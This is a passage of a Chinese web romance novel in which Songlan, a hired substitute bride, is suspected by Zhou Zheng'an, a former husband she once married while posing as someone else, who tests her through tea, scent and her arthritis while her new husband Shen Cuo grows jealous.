看着周正安目不转睛地盯着自己,菘蓝微微低头,内心敲起了小鼓。 这人不会看出什么了吧? 她昨天香水喷多了,整个人都熏入味了,现在身上还残留着余香,周正安应该不可能闻出她的气味。 沈错看到菘蓝一直端着茶,表情很不悦,冷眼看向周正安: “表叔,你侄媳妇都端了半天了,这茶你要是不喝,我就泼了。” 周正安这才注意到菘蓝一直维持着端茶的姿势,两只手臂隐隐颤动。 他连忙站起身,接过她手里的茶,向她道歉:“对不起,我刚刚走神了,我觉得你很眼熟,很像我认识的一个人。” 菘蓝眸光颤了颤。 周正安眼熟她?这根本不可能啊! 他又没有见过她。 场上一阵沉默。 沈错微微蹙了蹙眉,菘蓝和周正安对话的神情和语气,让他有种异样的感觉。 他指尖轻轻敲击桌案,拖着长长的腔调道: “表叔,你在外面到处眼熟人,表婶知道吗?” 我听说表叔表婶伉俪情深,两人形影不离,这次表婶怎么没跟你一起过来?” 听到表婶两个字,周正安眼底划过一抹冷意,冷冷地回复道: “她在家,有事要忙。” 现在他家里的那个人,是叶家的大小姐叶心蕊,不是他的妻子。 他这次只身来到海都,就是为了甩开那个虚伪恶心的女人。 当初,他车祸重伤,双腿骨折,双目失明,成了一个残疾人。 叶心蕊不想履行婚约,便找人散播她在国外意外身亡的谣言。 而周家害怕他禁不住接二连三的打击,便找了个人假扮叶心蕊,跟他举行了婚礼。 后来,他积极配合治疗,身体逐渐康复,叶心蕊得知消息立马澄清死亡谣言,回到他身边,心安理得地当起了周太太。 所有人都欺他眼瞎,以为他看不见,其实他看得清清楚楚。 盲人虽然眼睛看不见,但是嗅觉、触觉、听觉和感知力都异于常人。 他怎么可能不知道身边换了人。 他的手,就是他的第二双眼睛! 第七章 前夫哥扒马甲 感觉两人之间的气氛有点怪异,屋里所有人都在看他们。 周正安没有再说什么,掩下万千情绪,接过菘蓝手里的茶盏,低头喝了一口,然后递给她一个厚厚的红包。 但祝愿新婚夫妻百年好合的贺词,他却哽在嘴边,怎么也说不出口。 奉完茶后,沈错去了书房,菘蓝则是避开人群,独自在后花园闲逛。 花园里开着各色菊花,金菊、双色菊、玉壶春、绿云牡丹,各种各样,千姿百态,尽态极妍。 花海中站着一个三四岁的小女孩,穿着粉色蓬蓬裙,长得玉雪可爱,头上有两个小揪揪,走起路来一晃一晃的。 她看到菘蓝,笑嘻嘻地跑过去,伸手递给她一朵花,奶呼呼道: “嘻嘻,给你,漂亮姐姐,发发。” 那是一朵傲立的金菊,花瓣如丝,层层叠叠,像金色的火焰。 菘蓝弯腰接过,笑吟吟地摸了摸她的头:“小妹妹,谢谢你呀,你是谁呀?叫什么名字?” 小团子眨巴眨巴眼睛,扭动着小身子,奶声奶气道:“姐姐,我叫岁岁,你好漂亮呀,好像仙子。” 菘蓝嘴角翘起,伸手想摸摸岁岁的小脑袋,就在此时,一个女人急急忙忙赶来,一把拽走了岁岁。 “岁岁,小姨不是告诉过你吗,不要跟不三不四的女人说话。” 说完,女人便抱走了岁岁。 岁岁还冲着菘蓝咿咿呀呀地挥着小手:“漂亮姐姐再见哦。” 菘蓝没把这事放在心上,继续在园子里闲逛,走到荷塘边的时候,她又看到了岁岁。 岁岁独自在荷塘边玩泥巴,脚下横七竖八地躺着几个小泥人。 菘蓝觉得小孩在水边玩耍不安全,便朝她走了过去,结果岁岁看到她,立马抓起手里的泥巴,朝她丢了过去。 “坏女人!不准过来!你再过来,我就打洗你!” 岁岁像变了个人,看向菘蓝的眼神充满了厌恶。 她一边扔泥巴,一边骂道:“走开!走开!脏货!坏女人!” 菘蓝侧身躲开扔来的烂泥,微微皱了皱眉。 这孩子怎么突然对她有这么大恶意。 “脏货?骂谁?” 一道冰冷的声音在花园里响起。 菘蓝一回头,看到沈错站在自己身后,他嘴角漾着笑意,可眼睛却冷冷地盯着岁岁。 他走到岁岁面前,一脚把岁岁捏好的泥人踩得稀烂,笑着问她:“沈岁岁,你刚刚骂谁脏货?” 看到泥人被踩烂了,岁岁眼圈一红,嘴巴立马瘪成了小勺子。 “呜.......” 沈错露出阴森森的白牙,恐吓她道:“不许哭,敢哭就把你吃了。” 岁岁的眼泪瞬间憋了回去,红着眼睛看着沈错,一副想哭又不敢哭的委屈模样。 “她可是你堂婶,谁给你的胆子骂她?打她?道歉!” 沈错的气势很凶。 岁岁被吓到了,像只受伤的小松鼠揣着手手站在原地,愣了半天也没说话,最后哇得一声哭了出来。 “呜哇.....叔叔坏!婶婶也坏!” 沈错伸手揪了揪岁岁的小肥脸,“你还有脸哭?犯了错还哭上了?” 岁岁扯着嗓子哭得更大声了,一边哭一边冒鼻涕泡。 菘蓝见状,连忙把沈错扯开: “好了好了,不要跟小孩子计较,小孩没有是非对错,她的行为只会受大人影响,看来这里有人不待见我,你不要跟孩子置气了。” 听完,沈错微微一顿,眸光愈发森冷。 “呜哇.....我讨厌叔叔,讨厌婶婶!” 说完,岁岁用手背抹了一把眼泪,红着眼睛跑开了。 菘蓝没有去追,只是把岁岁送她的花丢到了一边。 沈错走过来,担忧地看着她:“你没事吧?” 菘蓝摇了摇头,转身向不远处的凉亭走去,凉亭里有个黑点,菘蓝走进才发现,那个黑点是周正安。 与此同时,周正安也看到了菘蓝,径直朝她走了过来。 菘蓝有点无语。 她刚好撞上了她想躲的人。 菘蓝转身就走,结果就在这时,听到远处响起一声孩童的惊呼。 她回头一看,发现赌气跑到湖边的岁岁,一脚踩空滑到了湖里。 “噗通!” 湖面溅起巨大的水花,岁岁小冬瓜一样的身体,在水面起起伏伏。 她昂着小脑袋,扑腾着水花大喊:“呜呜,救.....救命.....” 菘蓝距离湖边最近,她没多想,直接越过凉亭的栏杆,脱了鞋子就往湖里跳。 深秋的湖水很冷。 入水的瞬间,菘蓝打了个激灵,她感觉像掉进了冰窖,浑身的骨头都在悲鸣。 她调整泳姿,以最快的速度游向了岁岁。 “岁岁别怕!” 菘蓝奋力拨开水花,一把拽住了下沉了岁岁,拖着她往岸上游。 然而,她游着游着,脚突然被什么东西缠住了,那东西拽着她猛地往下一拉。 身子沉进水底,冰冷的湖水从四面八方涌进眼耳口鼻,菘蓝呛了口水后,立即屏住呼吸。 与此同时,在岸上看到这一切的沈错和周正安,同时跳进了水里。 菘蓝调整身形,仔细一看,发现脚底缠着一团水草。 被水草缠住千万不能挣扎,否则越挣扎,缠得越紧。 菘蓝冷静地调整了呼吸,但岁岁并不会憋气,小孩一张小脸呛得青紫。 见状,菘蓝连忙托着岁岁的身体,将她送出湖面呼吸。 周正安距离菘蓝最近,他很快就游到了岁岁身边,托着她的小身体,将她递给了闻讯赶来的佣人。 随后,他直接潜进湖底,去找菘蓝。 水下波影浮动,碧光莹莹,菘蓝长发散开,纤细的腰身随着水波摆动,像极了一条被水草困住的美人鱼。 看着菘蓝的脸,周正安眼底暗潮涌动。 他可以借救人的机会,验证心里的那个猜想。 砰砰砰.... 周正安心跳加速,全身的血液都在沸腾,他隐隐有种即将揭开谜底的期待和刺激感。 于是,他不再犹豫,拨开蔓长的水草,朝菘蓝伸出了手。 第八章 她生病了 然而,正当周正安要碰到菘蓝的时候,水下一个黑影急速朝两人靠近。 菘蓝看清了那道黑影。 是沈错。 水下,沈错像条横冲直撞的鲨鱼,他急速游了过来,一刀斩断缠住菘蓝的水草,用手勾住她的腰,然后双腿用力蹬水,抱着她快速上浮。 周正安的手扑了个空,指尖只留下一片温润的凉意。 “哗啦啦!” 湖面同时冒出三个人影,周正安手里拽着水草,沈错抱着菘蓝。 两个男人四目相对,看向彼此的眼中只有冷意。 岸上,一团人围着岁岁,在给她做急救。 小家伙在湖里喝了不少水,一张脸被湖水冻得青紫,气息微弱。 菘蓝想要过去看看情况,沈错连忙将她拉到怀里,神情古怪地看了她一眼。 “等等,你要这样过去?” 顺着沈错的眼神,菘蓝低头看了一眼,脸颊立即浮上两团红晕。 她身上的白裙子已经湿透,透明地贴在身上,内衣的轮廓和身体的曲线清晰可见,跟光着身子没什么区别。 远处,几个佣人想来帮忙,沈错看到他们后,毫不留情地甩了一句: “滚!别过来!” 佣人们吓得立即止步。 沈错脱下自己的外套,轻轻盖在菘蓝身上。 冷风吹过,菘蓝狠狠打了个寒颤。 “阿嚏!” 沈错拧了拧眉,拦腰抱起她,径直离开了人群。 周正安心有不甘地看着两人离去,修长的指尖攥到泛白。 明明就差一点,只差一点...... 菘蓝像只落水的小鸟,乖乖窝在沈错怀里,把脸埋进在他的胸膛上。 沈错身上的味道有点好闻。 淡淡的薄荷味,冷冽、安神,让人头脑清醒。 园内的佣人早早准备好了泡澡的温泉水、预防感冒的药物,以及热腾腾的姜茶。 回到水云居,沈错将菘蓝放下。 “你先去洗个热水澡,把头发吹干,然后出来喝点姜茶,别感冒了。” 沈错看着菘蓝湿漉漉的头发,眸中闪过一丝担忧。 菘蓝看到沈错的衣角也往下滴着水,下意识问道:“你不洗吗?” 听到这话,沈错眯起眼睛,舔了舔唇,语气暧昧道:“嗯?你要跟我一起洗?” 菘蓝瞪了他一眼,猛地关上浴室的门:“滚呐!谁要跟你一起洗!不要脸!” 不多时,浴室里隐隐传来水声,蒸腾的热气在玻璃窗上凝结成水珠,一点点往下落。 沈错一闭上眼,脑海里就回想起刚才那一幕。 她浑身湿漉漉的,衣服半透明地贴在身上,那饱满的曲线,性感的腰窝..... 他老婆身材真好。 想着想着,沈错觉得喉咙一片发干,他立马喝了杯冰水,缓解心里的燥意。 紧接着拽过干毛巾,潦草地擦了几下头发。 但不管喝多少杯冰水,都无法浇灭他心底的躁动。 过了一会,穿着浴袍的菘蓝从浴室里走了出来。 她白皙的小脸被水汽蒸得微微泛红,一张美人面,粉嫩得像三月的桃花。 红色的唇瓣泛着水润的光泽,看上去就很好亲。 刚洗完澡,菘蓝觉得口渴,她扫了一眼,看到沈错正拿着水杯看向她。 她以为那水是沈错给她倒的,便走过去,拿起他手里的水杯,仰头一饮而尽。 沈错眼神暗了暗。 她覆上了他的唇印,喝了他的水..... 喝完水,菘蓝无意识地咬了下唇,转头看向沈错,鼻音轻轻嗯了一声,示意他再给她倒一杯。 沈错喉结微微滚动。 她.....是在引诱他? 二十几岁的男人,正是能干的时候。 沈错只觉得身体的燥意越来越浓,他一把拉住菘蓝,往沙发上倒了下去。 菘蓝还没反应过来,就被扑倒在了沙发上。 不等她挣扎,沈错便扣住她的后脑勺,狠狠吻了上去。 “嗯.....” 一声破碎的嘤咛从菘蓝的嗓子里溢出。 沈错的吻,凶猛霸道,带有浓浓的占有欲,根本不容反抗。 菘蓝试着去推沈错,却发现她根本就推不动,身上好像压了千斤重的铁块。 突如其来的亲吻像闷热夏日的骤雨,让人措手不及,舌尖摩挲的快感像触电一样,酥酥麻麻地蔓延至全身。 菘蓝的大脑一片空白。 沈错像一只释放本能野兽,食髓知味,吻着吻着便想攫取更多。 他的手滑进浴袍,在一片柔软中肆意游走。 异样的抚摸让菘蓝顿时清醒,她狠狠推了一把沈错,怒目而视: “你在做什么!” 看到菘蓝明显惊慌的眼神,沈错停了手,诧异地看着她。 “啊?” 菘蓝拢了拢身上松散的浴袍,板着脸,生气地看着沈错: “我都说了,我们才刚认识,我暂时接受不了夫妻之间的事情。 这方面,你要给予我足够的尊重,如果你要用强,那就没意思了!” 看着菘蓝生气的小脸,沈错第一次结巴了,他唇角蠕动了半天,有些无措道:“不是.....我......” “滚!流氓!你给我出去!” 菘蓝气红了小脸,抄起枕头砸到沈错身上,把他赶出了卧室。 知道自己会错了意,沈错不敢再去惹菘蓝,他像孤狼一样在门外徘徊了一阵后,便离开了。 ** 睡完午觉,菘蓝醒来发现身体提不起劲,一摸额头烫得惊人。 她生病了。 她下了床,还没走两步,双腿一软,一个踉跄跌坐到了地上。 她的膝关节处传来阵阵酸痛,骨头之间相互摩擦,隐隐作响。 应该是在湖里泡久了,寒气入体,引起了发热和关节炎。 菘蓝撑着桌子,勉强站起来,突然又感觉小腹传来熟悉的钝痛。 真是屋漏偏逢连夜雨,她那个兢兢业业,勤勤恳恳,每月按时探望的大姨妈来了。 真要了命了。 看到屋外有人影晃动,菘蓝以为是沈家的佣人,便推开门,想吩咐她们拿止痛药和感冒药。 结果她一开门,便撞进了一个温热结实的怀抱。 在嗅到一股熟悉的烟草和皮革的气味后,菘蓝赫然抬头。 她愣愣地看着抱住自己男人,头皮顿时发麻。 周正安!? 第九章 他在试探她 周正安看着撞进怀里的人儿,身体一僵,顿时愣在了原地。 今晚是他在沈园的最后一天。 项目的事情已经解决,他明天就要离开海都。 可是就这样走了,他又不甘心,一时间心乱如麻。 他本想在园子里散散心,却不知不觉走到了菘蓝居住的水云轩。 进了水云轩,一路上也没遇到人,他就这样顺顺利利走到了门口。 谁知他刚想敲门,那个朝思暮想的人影,就撞进了他的怀里。 周正安喉结微微滚动,低头看着菘蓝,双手不自觉收紧,心跳不断加快。 尽管内心波涛汹涌,似有山洪呼啸,可周正安脸上依旧没什么表情,沉稳的像一方砚台。 因为受寒,菘蓝一张脸苍白如玉,原本明亮的双眸像蒙了灰色玻璃,染上一抹恹色。 她唇色黯淡,脸部因发烫浮现出一团不正常的潮红。 周正安发现了菘蓝的不对劲,她的手腕烫得惊人,单薄的身子摇摇欲坠。 “你.....你发烧了?” 看到她虚弱的模样,周正安的心仿佛被什么东西狠狠扎了一下。 刺痛刺痛的。 菘蓝没有想到居然会在这种情况下遇到周正安。 她下意识推开周正安的手,想挣脱出他的怀抱,离他远远的。 可是她浑身发痛,整个人软绵绵的,根本没有半分力气。 菘蓝挣扎的模样落在周正安眼里,以为她是觉得两人举止太过亲密,害怕别人看到后误会,所以想要逃离。 毕竟,她是他的侄媳妇。 虽然他们年龄没差几岁,但这层辈分关系已经是不可逾越的天堑。 “你不要担心,我.....我走过来的时候,这里没人。” 周正安本意是想要打消菘蓝的顾虑,让她不要担心被人误会,可是话一说出口,就觉得有点不对劲了。 这话说得他们之间好像真有什么...... 要是让别人听见,更容易误会了。 周正安决定闭嘴。 菘蓝膝盖疼得隐隐作响,小腹处一波又一波的钝痛,让她站都站不稳。 周正安犹豫了一下,直接抱起菘蓝进了屋。 他发现她好轻,轻得像一团云。 周正安心底泛起微微的疼意,离开他的这三年,她一点都没长肉吗? 过了一会,医生来了。 菘蓝躺在床上,嘴唇泛着死白,微乱的发丝沾染了细汗,紧紧地贴在耳畔。 医生给她打了一针退烧针,又开了几副药。 药物有镇定安神的成分。 菘蓝喝完之后,感觉头脑混混沌沌的,很想睡觉。 门外。 周正安问医生,语气关切道:“医生,她没事吧?” 医生回答道:“没事,少夫人只是发烧了。” 周正安想起菘蓝痛得站都站不稳的模样,很是疑惑道:“可,她为什么看起来那么痛苦。” 医生:“少夫人身体受了寒,着凉发热,又遇到生理期,就更难受了。” 听到这话,周正安脸色一变,猛地打开手机,看了下日期。 今天是十五号。 他还记得,她的生理期是每个月的十五号,且一直都很准时。 她每到生理期的时候,就会喝一种带有桂花味的红糖姜茶。 她说桂花的香味能中和姜的辛辣。 那几天,屋里一直萦绕着淡淡的桂花香,以及甜甜的红糖味。 她生理期的那几天,会变得很慵懒,会拥着羊毛毯窝在沙发上看电视,然后把脚藏在猫咪的肚皮下面。 他有一次非要给她弄热水袋,结果被热水烫了手。 她一边骂他尽添乱,一边手忙脚乱地找药膏,给他涂完药膏后,原本烫口的红糖姜茶已经没了热气。 从那以后,他就很少添乱,老老实实地在轮椅上呆着。 回想到以前,周正安的心一寸寸缩紧。 她和她的生理期是同一个日期,这会是巧合吗? 床上,终于支撑不住的菘蓝,沉沉睡去。 周正安看着她的脸,愣了片刻。 她脸部的轮廓,眉骨的长短,鼻梁的高度,嘴唇的形状,都和他脑海中日夜描绘的一模一样。 他刚失明的时候,觉得自己成了一个废物,整日躺在床上,毫无生机。 而她告诉他,不仅仅只有眼睛才能看到东西。 她牵着他的手,带他触摸凸起的盲文,描摹岩石的纹路,感知世间的万事万物。 在学习用手看世界的课程中,他无师自通,学会了用手看人。 他用手看到的第一个人便是她。 收回心神,周正安看向已经熟睡的菘蓝。 她巴掌大的脸陷在被子里,他一只手就可以覆盖住。 看着看着,他的心脏开始砰砰狂跳。 他想趁这个时候,验证心中的猜想。 周正安屏住呼吸,慢慢伸出手,抚向菘蓝的脸。 他的手紧张到发抖。 菘蓝睡得很沉,呼吸绵长,长而为翘的睫毛轻阖着,像立在睡莲上休息的蝴蝶。 周正安伸出去的手突然顿住,然后克制地收回了手。 趁别人睡着的时候,偷偷摸别人的脸。 他这样跟下作的流氓有什么区别。 更何况他们身份有别。 周正安垂着眼,静静地看了菘蓝片刻后,悄悄离开了。 过了一会,他又回来了,手里端了一个小瓷碗。 菘蓝是被一阵熟悉的香味唤醒的。 空气里浮动着淡淡的桂花、红糖和姜的味道。 她缓缓睁开眼睛,然后看到了站在床边,手里端着瓷碗的周正安。 周正安把瓷碗递给菘蓝,“喝吧,喝了会好一点。” 菘蓝垂眸,看着漂浮着细碎桂花的红糖姜茶,微微一愣。 桂花味的红糖姜茶? 青州盛产桂花,在周家的时候,她每次生理期,都会往红糖姜茶里放一份桂花,桂花的浓香能冲淡姜的辛辣味。 周正安知道,她喜欢喝桂花味的红糖姜茶。 看着周正安眼底浮现的一抹期待,菘蓝的心猛地一沉。 这人在试探她! 第十章 你不是沈少夫人 虽然没有证据,但菘蓝就是觉得周正安对她起了疑心。 周正安那么有分寸感和边界感的一个人,居然三番两次主动找她,还总是盯着她的脸看。 他是个已婚男人,还是她的表叔。 周正安那样一板一眼的人,不可能做出这么逾矩的事情。 按照他的行为习惯,恐怕在看到她倒在门前的那一刻,就会立马给沈错打电话。 而不是自己亲力亲为,忙前忙后地照顾。 看他的样子,好像还不觉得自己的行为越界了。 菘蓝不明白到底是哪里出了问题。 周正安明明没有见过她的样子,为什么会觉得她很眼熟。 难道是叶心蕊那边出了什么纰漏,让周正安看出来当初跟他结婚的另有其人? 想到这里,菘蓝心中警铃大作。 如果周正安知道了这件事,那么周正安给她端的这碗桂花红糖姜茶,绝对是一次试探。 屋内,充斥着一股浓浓的桂花香。 菘蓝微微垂眸,掩下眼底的异色,她向周正安说了声谢谢,然后接过桂花红糖姜茶,淡淡地抿了一口。 “唔......” 菘蓝眉头一皱,精致漂亮的小脸拧成了一团。 看到菘蓝的反应,周正安担忧地看着她:“怎么了?是不是太烫了?” 菘蓝苦着小脸摇头。 “这姜的味道太冲了,桂花味也太重,闻得我头有点晕。” 说完,菘蓝娇里娇气地哼了一声。 “我不喝了,我要吃止痛药,你去帮我找止痛药,吃了药我就不痛了,我以前都是这样的。” 见菘蓝明显嫌弃桂花红糖姜茶,周正安眼眸微微一暗,缓声道: “止痛药不好,你经常吃药,会对药物产生依赖性,身体也会对止痛药产生抗性。” 菘蓝拽着被子盖过头顶,闷在里面赌气。 “好吧,那我就这样疼着吧,疼死算了,反正疼死我,我也不喝不喜欢的东西。” 她语气娇娇的,像是被家人宠坏的小公主。 菘蓝把徐幼蓝的娇气拿捏得恰到好处。 不让人厌烦,反而让人觉得很可爱,有一种很娇憨的感觉。 这种感觉,是她假扮叶心蕊的时候,从未有过的。 叶心蕊是性感张扬的御姐,而徐幼蓝是娇憨的妹宝,两个人言行很不一样。 说完,菘蓝钻进被窝,像小动物一样蜷缩着身体。 看着床上隆起的鼓包,周正安眼底闪过一抹失落。 她,不会这样娇气。 过了一会,周正安像哄小孩一样,缓声轻哄:“好,不喝就不喝,我去给你弄一碗珍珠甜汤,你喝了会舒服一些。” 菘蓝知道周正安所说的珍珠甜汤是什么。 珍珠是用微甜微酸的酒糟加上红薯粉捏的小汤圆,下锅的时候,珍珠小汤圆还要用蜂蜜红糖水炖煮。 小汤圆煮到透明发亮,汤底呈粘稠的红褐色,才算煮好。 这种甜汤,是她跟周正安一起研究出来的。 生理期的时候喝一碗,身体暖暖的。 很甜很好喝,她也很爱吃。 菘蓝想了想,连忙道:“不用了,不用麻烦表叔了,我不太喜欢吃甜,我等会让人弄一碗西湖牛肉羹。” 西湖牛肉羹是咸鲜口的,略清淡。 她一般不怎么吃。 周正安:“那,那我让人给你做一碗西湖牛肉羹,再加一碟蟹黄小笼包?” 菘蓝眉心动了动。 蟹黄小笼包也是她爱吃的。 她跟叶心蕊在饮食上的共同点有两个,一个是爱吃甜,一个是爱吃蟹黄小笼包。 看着周正安毫无波澜的脸,菘蓝虚虚攥紧了手心。 这人还是在试探她。 但是这一次,菘蓝没有拒绝,反而说道:“好呀,我喜欢吃蟹黄小笼包。” 如果拒绝的次数太多,特意回避,反而会变得很刻意。 现在菘蓝基本确定,周正安就是在试探她。 所以她不能表现得太刻意回避某些东西,不然会弄巧成拙。 来回之间,两人已经打了很多次机锋。 听闻,周正安点了点头,然后提醒道:“不过你身体受了寒,蟹黄是寒性食物,还是少吃一点。” 菘蓝:“嗯......” 就在这时,离开的医生突然折返了回来,手里拿了几片艾草热敷贴。 医生看到菘蓝已经醒了,温声道: “少夫人,您有关节炎,这天冷了,马上要下雨,您的膝盖要注意保暖,这艾草热敷帖很管用的。” 菘蓝没想到医生这么贴心。 她确实是有关节炎,是小时候落下的病根,每到阴雨天,膝盖就会不舒服。 菘蓝笑着接过艾草热敷帖,说了一句:“谢谢医生。” 菘蓝没有注意到,周正安在听到医生说她有关节炎后立即变了脸色。 周正安垂着眼,眉心微微蹙起。 他隐约想起了一件事。 有一次下雨天,她坐着他的轮椅代步,在屋里滑来滑去。 他以为她是觉得好玩。 她却说下雨天坐轮椅比走路舒服。 她从没说过她患有关节炎,他也不知道。 现在想来,当时她假扮的是叶心蕊,可能是为了避免露馅,所以特意掩盖了患有关节炎的事情。 顺着这条线索,周正安又想起了很多被他忽视的小细节。 她很少碰凉水,每天都要用热水泡脚,床头总放了很多暖宝宝和艾草贴。 她喜欢晴天,不喜欢下雨天。 晴天会开心,雨天会叹气。 好几次下雨天,他在夜晚醒来,听到耳畔响起几声细碎的痛吟。 他问她怎么了。 她说是看手机睡着了,把手机砸脸上了。 现在想来,她那时应该是关节炎犯了,害怕被揭穿,所以一直忍着疼痛。 一时间,各种各样的线索和细小的琐碎往事,拼接在一起,最终汇聚成了一个答案。 脸部的轮廓、相同的五官、细长的手型,同样的生理期、雨天的关节炎...... 在一个人身上,怎么会同时出现这么多的巧合。 当无数个巧合撞在一起,那就不再是巧合,而是某种必然。 想到这些,周正安太阳穴突突直跳,耳畔嗡鸣作响。 如果当时她为了钱,假扮叶心蕊,那么现在也能为了钱,假扮徐幼蓝。 医生走后,周正安蹭得一声站起来,激动地拽住菘蓝的手,无比确信道: “你,不是徐幼蓝,不是沈家的少夫人!” 第十一章 她曾是他的妻 菘蓝心底一惊,瞳孔微微睁大。 他,是怎么知道的! 菘蓝睫毛轻颤,迅速在心里复盘刚刚的对话。 刚才一定是露了什么破绽,不然周正安不可能突然说这种话。 但她反复回想,也没想明白到底是哪里出了问题。 她歪着脑袋,一脸莫名其妙地看着周正安,心底暗暗打起了盘算。 先不管周正安是怎么知道的,反正她绝对不能承认。 这次的替嫁委托,酬金给的很高,她决不能搞砸了。 她现在很需要钱。 稳定心神,菘蓝生气地板起小脸,故意混淆概念道: “表叔,你这话的意思是,我不配做沈家的少夫人? 如果你对我有什么不满,可以直接说,但你说了我也不会听的。 你说我不配做沈家少夫人?难道你配?你该不会是喜欢你侄子吧?” 对于菘蓝胡言乱语的指控,周正安没有说话,他只默默看着她,眼神隐忍而克制。 他伸手钳住菘蓝的手腕,指尖轻轻摩挲,感受着她手背的纹理,手心的触感,骨节的粗细,腕骨凸起的弧度。 一切都是那么惊人的相似。 连掌心的温度,都让他记忆犹新。 在他双目失明的时候,就是这双手拨开黑暗,带他走出重重迷雾。 周正安心底翻起惊天骇浪,可表情依旧不动如山,但仔细一看,就能发现他眼部的肌肉在隐隐颤动。 看到这副样子的周正安,菘蓝睫毛微微颤动,不禁有点心虚。 周正安现在一定气炸了。 周正安从不跟人红脸,极少失态,处理任何棘手的事情都是一副游刃有余,尽在掌握的姿态。 就算别人挑衅他,他也只是会轻蔑地无视掉。 能将他惹到失态的人,世间少有。 屋子里静悄悄的,周正安像雕塑一样沉默,眼睛直白地盯着菘蓝。 他在看她,眼神里好像带着无声的质问。 他一句话也不说,又好像什么都说了。 菘蓝隐隐感觉到两人之间缠绕着一种磁场。 说不清道不明的。 她紧紧攥着被角,手心微微发烫,感觉每分每秒都过得很煎熬。 周正安静静看着菘蓝,喉咙涩意翻涌。 曾经,她说他是不会笑的冰山,是缄默不言的磐石,是无趣的木头。 他从不反驳。 他生怕惹她生气,怕她会一走了之。 所以她说什么就是什么,只要她愿意留在他身边。 可她最后还是走了,走的干脆利索,甚至一点痕迹都没留下。 在那段日子里,她可曾对他有过半点心动? 还是说,一切对她而言,都只是一场交易? “你......” 周正安嘴唇蠕动,话到嘴边突然顿住。 他该说什么呢?直接拆穿她? 可她肯定不会承认。 他现在只想知道一件事情,她真是徐家的千金吗? 如果她真是徐家的千金,当初怎么可能因为一点钱,就代替别人嫁给他。 如果她不是徐家的女儿,那她到底是谁,叫什么名字,又是什么身份,为什么现在又嫁到了沈家。 菘蓝藏在被子下的手悄然攥紧,就算周正安认出了她,她只要死不承认就行了。 她在周家生活过的一切痕迹,都被抹除了,他应该没有什么说服力的证据。 想到这里,菘蓝的心稍稍平定,她用力扭转手腕,想逃离周正安的钳制。 手中的温软抽离,周正安的心瞬间一空,他下意识拽着菘蓝往回一拉,将她拽到了自己怀里。 迎面扑来的馨香很熟悉,周正安身躯骤然一僵。 是她的体香! 周正安再也控制不住情绪,伸手覆上了菘蓝的侧脸。 果然,是他熟悉的轮廓。 “你干什么!你放开我!” 菘蓝没有想到,一向克己复礼,循规蹈矩的周正安,居然会做出这么出格的举动。 他居然摸她的脸。 这可是在沈家,不管怎么样,她都是沈家的少夫人。 “啪!” 菘蓝反手甩了周正安一耳光。 疼痛让周正安瞬间清醒,他意识到自己的失控,垂着眉眼,惩罚性地咬了一口舌尖。 血沫在嘴里散开,带着极其浓重的血腥味。 他冷静了下来,面色沉寂如水,又恢复成了那个八方不动的周正安。 菘蓝假装受到惊吓,颤抖着踉跄后退,苍白的小脸微微发抖,眼尾泛起一抹令人疼惜的红。 “周正安,你该不会是想要强占我吧?你居然是这样的人!” 周正安连忙道歉:“对不起,我没有那种想法,我刚刚只是想确认一件事。” “确认什么?” 门口,响起一个冰冷的声音。 沈错回来了。 他单手扶着门框,身上的黑色大衣被冷风吹得猎猎作响。 外面下着雨,他眼底的温度比秋雨还要冷。 他用审视且带有敌意的目光,扫了一眼周正安。 “老公!” 菘蓝声音沙哑,像只受了委屈的红眼睛小兔子,赤着脚跳下床,一头扑进沈错的怀里。 看到菘蓝扑进沈错怀里,周正安眸色一顿,垂在袖管中的手缓缓攥紧。 但看到菘蓝光脚踩在冰冷的地上,他的眉头又轻轻蹙起,“地上这么凉,你怎么能不穿鞋?” 说完,他弯腰去捡床边的毛绒拖鞋。 周正安拿着拖鞋,直起腰身的时候,正好对上了沈错冰冷晦暗的双眼。 现在已经是深秋,又是阴雨天,微微反光的大理石地板透着几分冷意。 地面确实很凉,菘蓝下意识弓着脚背,她虚踩在地面上,白皙圆润的脚趾蜷在一起,有些泛红。 沈错看着周正安手里的毛绒拖鞋,微微眯了眯眼。 他单手抱起菘蓝,用带着敌意的眼神看向周正安,用一种宣誓主权的口吻道: “不需要你拿鞋,我会抱着她。” 菘蓝很配合地环住沈错的脖颈,像只慵懒的猫咪一样,亲昵地靠在他的胸膛上,柔柔地唤了一声,“老公.....” 看到这一幕,周正安拿着棉拖的手僵住,指尖微微泛白。 沈错单手抱着菘蓝,臂膀肌肉隆起,他似笑非笑地看着周正安道: “表叔,都说你是克己复礼的君子,可我怎么不知道你这么喜欢关心别人老婆? 表叔,你越界了。” 沈错的目光犀利、直白,锋芒毕露。 像一柄利剑,直戳人心。 沈错虽然一口一个表叔,但语气却不怎么尊敬,他只是在提醒周正安注意自己的身份。 周正安缓缓放下手中的棉拖,直直对上沈错冷厉的眼神。 他知道他今天的言行确实不妥,他也有些失控。 可,她曾是他的妻! 第十二章 会活撕了她 “你们刚刚在说什么?” 沈错审视的目光在两人之间扫来扫去。 不等周正安开口,菘蓝抢先道:“我说我身体没事了,表叔非要找医生来确认一下。” 周正安沉沉看了菘蓝一眼。 她侧着脸,睫毛轻颤,躲避着他的眼神,单薄的背脊像蝴蝶翅膀一样微微颤动。 周正安垂下眼,顺着她说道:“她病得很重,不可能好那么快。” 沈错似笑非笑地哦了一声: “哦,既然你知道她病得重,那你还赖在这里干什么?她需要休息。” 周正安没再说话,又看了菘蓝一眼,缓缓向门外走去。 他脚步很沉重,像是被什么东西拖拽着,每一次抬腿都在艰难抗争。 虽然心有不甘,但他现在留在这里也做不了什么。 他现在最需要做的事情,就是查清她的身份。 如果按照他想的那样,她这次也是收钱办事,那她就不是真正的徐小姐,也不是沈家的少夫人。 那么,他还有机会..... 周正安刚走,沈错就关上了门。 他将菘蓝抱到床上,伸手碰了碰她的额头。 医生打的退烧针很管用,菘蓝的额头已经不烫了,蒙了一层细汗。 但她依旧很难受,脑袋晕乎乎的,双眼迷蒙,苍白的小嘴微微张着,气息有些紊乱。 沈错又伸手碰了碰她的脸,她的脸还是烫着的,烫得像烧开的热水壶。 沈错眼底掠过一抹心疼。 “你病成这样,怎么也不给我打电话?” 她生病的事情,还是佣人告诉他的。 菘蓝拽着被子没有吱声。 她压根就没想过给沈错打电话,也没想着能依靠他。 沈错对于她来说,只是个陌生人。 沈错看了眼桌上的西湖牛肉羹,眼睛微微眯起:“他给你准备的?” 菘蓝淡淡应了一声:“嗯....” 沈错站起身,二话不说,端起碗把西湖牛肉羹倒进了垃圾桶。 “你不是三岁小朋友了,以后不要乱吃别人给的东西。” 话里醋味很重。 菘蓝默默看着沈错倒掉了西湖牛肉羹,也没有出声阻止,反正她也不爱喝。 